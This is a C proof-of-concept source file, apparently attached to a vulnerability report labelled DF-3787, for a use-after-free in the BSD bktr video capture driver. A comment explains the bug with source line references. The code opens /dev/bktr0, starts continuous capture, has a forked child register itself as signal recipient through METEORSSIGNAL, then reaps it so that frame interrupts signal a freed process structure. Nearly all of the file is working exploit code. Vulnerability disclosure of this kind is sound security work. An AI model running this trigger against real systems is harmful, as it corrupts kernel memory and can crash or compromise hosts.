DF-3787 / poc_stale_proc.c
/* * DF-3787 PoC trigger (requires real Bt848/878 hardware + bktr driver). * * METEORSSIGNAL stores td->td_proc in bktr->proc WITHOUT taking a reference * (bktr_core.c:1495) and video_close() never clears it (bktr_core.c:1012-1031). * The interrupt handler ksignal()s that pointer on every captured frame * (bktr_core.c:798-801). * * Trigger: parent keeps /dev/bktr0 open and capturing; child (which shares * the fd via fork) installs itself as the signal recipient and then exits * and is reaped -> bktr->proc dangles -> next frame interrupt ksignal()s a * freed struct proc -> use-after-free (token + siglist writes). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <signal.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <dev/video/meteor/ioctl_meteor.h> #include <dev/video/bktr/ioctl_bt848.h> int main(void) { int fd, arg = METEOR_CAP_CONTINOUS, sig = SIGUSR1; pid_t pid; fd = open("/dev/bktr0", O_RDONLY); if (fd < 0) { perror("open /dev/bktr0"); return 1; } if (ioctl(fd, METEORCAPTUR, &arg) < 0) { perror("METEORCAPTUR"); return 1; } pid = fork(); if (pid == 0) { /* child shares the fd: install itself as signal target */ if (ioctl(fd, METEORSSIGNAL, &sig) < 0) perror("METEORSSIGNAL"); _exit(0); /* device stays open in parent */ } wait(NULL); /* child reaped: proc freed */ printf("child reaped; bktr->proc now dangles; " "waiting for frame interrupts...\n"); sleep(10); /* UAF ksignal fires here */ return 0; } |